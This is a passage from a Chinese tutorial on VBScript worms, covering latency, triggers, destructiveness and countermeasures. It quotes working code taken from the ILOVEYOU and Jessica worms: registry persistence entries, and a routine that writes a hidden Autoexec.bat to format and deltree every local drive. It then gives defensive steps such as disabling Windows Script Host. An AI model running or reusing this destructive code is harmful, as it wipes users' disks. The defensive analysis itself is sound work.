三、蠕虫病毒具有一定的潜伏性
要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:
On Error Resume Next
容错语句,避免程序崩溃。
dim wscr,rr
set wscr=CreateObject ("WScript.Shell")
击活WScript.Shell对象
rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
读入注册表中的超时键值
if (rr>=1) then
|
超时设置
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
上面这部分代码很明显是调整脚本语言的超时设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
|
其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。怎么样,看出蠕虫病毒是怎样潜伏的吧?
四、蠕虫病毒具有特定的触发性
在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序:
x=time ()
if x=xx.xx.xx then
…………
end if
|
就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。
五、蠕虫病毒具有很大的破坏性
蠕虫病毒的破坏性大家都有所了解吧?我们以著名的蠕虫病毒Jessica Worm中的部分破坏代码为例来加以分析说明:
sub killc ()
破坏硬盘的过程
On Error Resume Next
容错语句,避免程序崩溃。
dim fs,auto,disc,ds,ss,i,x,dir
Set fs = CreateObject ("Scripting.FileSystemObject")
Set auto = fs.CreateTextFile ("c:\Autoexec.bat", True)
建立或修改自动批处理
auto.WriteLine ("@echo off")
|
屏蔽掉删除的进程
auto.WriteLine ("Smartdrv")
加载磁盘缓冲,好毒啊!
Set disc = fs.Drives
得到驱动器的集合
For Each ds in disc
If ds.DriveType = 2 Then
如果驱动器是本地盘
ss = ss & ds.DriveLetter
|
就将符号连在一起
End if
Next
ss=LCase (StrReverse (Trim (ss)))
得到符号串的反向小写形式
For i=1 to Len (ss)
遍历每个驱动器
x=Mid (ss,i,1)
读每个驱动器的符号
auto.WriteLine ("format/autotest/q/u "&x&":")
|
反向(从Z:到A:)自动格式化驱动器,狠毒啊!
next
For i=1 to Len (ss)
x=Mid (ss,i,1)
auto.WriteLine ("deltree/y "&x&":")
'怕Format失效用Deltree双保险,知道厉害了吧
next
auto.Close
关闭批处理文件
set dir=fs.GetFile ("c:\Autoexec.bat")
dir.attributes=dir.attributes+2
将自动批处理文件改为隐藏
End sub
|
如果以前你没有亲身体验到蠕虫病毒的厉害,那么从这个小例子中,你应该知道蠕虫病毒的厉害了吧?
六、反击蠕虫病毒
我们已经了解网络蠕虫病毒的构造,现在可以逐个击破网络蠕虫病毒几大功能模块。使网络蠕虫病毒不能这么横行无忌的破坏我们的电脑及盗窃我们的资料。
1.首先我们应该先看看如何破解病毒的破坏力最强的功能模块――病毒的破坏性。
网络蠕虫病毒不可能像传统病毒一样调用汇编程序来实现破坏功能。它只能通过调用已经编译好的带有破坏性的程序来实现这一功能。那么我们就把本地的带有破坏性的程序改名字,比如把format.com改成fmt.com,那样病毒的编辑者就无发实现用调用本地命令来实现这一功能。(这方法简单易行并不影响电脑的正常使用,但也有其不足的地方,我们会在下文中会对其不足进行说明。)
2.我们再看看如何破解病毒的潜伏性及触发性功能模块。
它是通过死循环语句完成的,且一开机就运行这程序,等待触发条件。用Ctrl+Alt+Del弹出关闭程序对话框方可看见一个叫Wscript.exe的程序在后台运行(那样的程序不一定是病毒,但病毒也常常伪装成那样的程序),我们为了防止病毒对我们的机算机进行破坏,我们不得不限制这类程序的运行时间(宁可错杀一千,也不可放过一个),以达到控制的效果。首先在“开始”菜单的“运行”里输入“Wscript”,然后会弹出一个窗体。单击“经过以下数秒终止脚本”前面的复选框,使复选框前面打起钩,然后调整下方的时间设为最小值即可。这样可以破解一部分这样的病毒的潜伏,消除潜伏性自然触发性就破解了。
另外,由于蠕虫病毒大多是用VBScript脚本语言编写的,而VBScript代码是通过Windows Script Host来解释执行的,因此将Windows Script Host删除,就再也不用担心这些用VBS和JS编写的病毒了!从另一个角度来说,Windows Script Host本来是被系统管理员用来配置桌面环境和系统服务,实现最小化管理的一个手段,但对于大部分一般用户而言,WSH并没有多大用处,所以我们可以禁止Windows Script Host。
卸载Windows Scripting Host:在Windows98中(NT4.0以上同理),打开“控制面板”,打开“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“对勾”去掉,然后点“确定”,再点“确定”,这样就可以将Windows Scripting Host卸载。
如果你嫌麻烦,可以到Windows目录中,找到WScript.exe和JScript.exe,更改其名称或者干脆删除。
3.接下来就该破解病毒的自我复制能力功能模块。
大多数利用VBscript编写的病毒,自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。而该功能的实现离不开“FileSystemObject”对象,因此禁止了“FileSystemObject”就可以有效的控制VBS病毒的传播。具体操作方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。
4.破解完了以上四个功能模块,自然第五个功能模块传播性就不攻自破了。
你还记不记得以上我们所说过的破解功能模块的不足,虽然限制别人不能调用你的带有破坏性的程序,但你也别忘了,别人可以用网页拷贝的方式放入你的计算机中,再通过以上方法对你的计算机进行危害。要彻底防治网络蠕虫病毒,还须设置一下你的浏览器。方法是:在IE窗口中点击“工具→Internet选项,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX插件和控件以及Java相关全部选择“禁用”即可。不过,这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。有利就有弊,您还是自己看着办吧。
只要用了以上的方法就可以有效地防范蠕虫病毒,现在,你不会认为蠕虫病毒可怕了,至少,对蠕虫病毒的神秘感打消了吧?如是,则达到了我们的目的!
|